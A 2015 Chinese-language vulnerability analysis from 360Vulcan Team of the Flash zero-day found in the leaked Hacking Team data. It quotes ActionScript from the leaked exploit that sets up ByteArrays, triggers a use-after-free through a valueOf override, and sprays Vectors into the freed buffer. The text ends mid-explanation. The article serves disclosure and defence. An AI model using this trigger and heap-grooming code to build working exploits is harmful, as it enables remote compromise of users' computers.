作者:
360安全衛士
·
2015/07/07 14:04
作者:360Vulcan Team成員Yuki Chen
攻擊程式碼分析Part 1: Flash 0day
0x00 前言
最近專門提供透過攻擊手法進行網路監聽的駭客公司Hacking Team被黑,包含該公司的郵件、文件和攻擊程式碼的400G資料洩漏。360Vulcan Team第一時間獲取了相關資訊,並對其中的攻擊程式碼進行了分析。
我們發現其中至少包含了兩個針對Adobe Flash的遠端程式碼執行漏洞和一個針對微軟Windows核心字型許可權提升漏洞的完整攻擊程式碼(exploit)。其中一個Flash漏洞已經在今年4月修補,其他兩個漏洞都未修復。
其中Flash漏洞exploit被設計為可以針對IE、Chrome瀏覽器和Office軟體進行攻擊。攻擊者透過嵌入精心構造的惡意Flash檔案到網頁或Office文件中,使得訪問特定網頁或開啟Office文件的使用者感染惡意程式碼。同時,這些惡意程式碼透過結合Windows核心字型許可權提升漏洞,可以繞過IE(保護模式或增強保護模式)、Chrome(Chrome Sandbox,< Chrome 43)和Office(保護模式)的沙盒保護,完全控制使用者的電腦。
360Vulcan Team對這些漏洞進行分析,並分為三個部分將這些0day的資訊共享給安全社群,希望軟體廠商和安全廠商共同行動,儘快修補和防禦著這些“在野”的0day漏洞。
Flash 0day -ActionScript ByteArray Buffer Use After Free
看起來HackingTeam的遠端exploit工具中廣泛使用了同一個flash漏洞(攻擊目標可以是IE、Chrome、Office系列):
初步分析這個Exploit之後,我們發現這個Exploit在最新版本的Adobe Flash(18.0.0.194)中仍然可以觸發,因此這應該是一個0day漏洞。
0x01 漏洞原理分析
這個漏洞成因在於,Flash對ByteArray內部的buffer使用不當,而造成Use After Free漏洞。
我們來看一下HackingTeam洩露的exploit程式碼,關鍵部分如下:
1 定義ByteArray
#!c
for(var i:int; i < alen; i+=3){
a[i] = new Class2(i);
a[i+1] = new ByteArray();
a[i+1].length = 0xfa0;
a[i+2] = new Class2(i+2);
}
首先定義一系列的ByteArray,這些ByteArray初始大小被設定成0xfa0,ActionScript內部會為每個Buffer分配0x1000大小的記憶體。
2 給ByteArray元素賦值:
#!c++
_ba = a[i];
// call valueOf() and cause UaF memory corruption
_ba[3] = new Clasz();
這一步是觸發漏洞的關鍵,由於ByteArray的元素型別是Byte,當把Clasz類賦值給ByteArray3時,AVM會試圖將其轉化為Byte,此時Clasz的valueOf函式將被呼叫:
#!c++
prototype.valueOf = function()
{
ref = new Array(5);
collect.push(ref);
// realloc
_ba.length = 0x1100;
// use after free
for (var i:int; i < ref.length; i++)
ref[i] = new Vector.<uint>(0x3f0);
return 0x40
}
在valueOf函式中,最關鍵的一部是更改了ByteArray的長度,將其設定成為0x1100,這個操作將會觸發ByteArray內部buffer的重新分配,舊的buffer(大小為0x1000)將會被釋放。緊接著exploit程式碼會分配若干個vector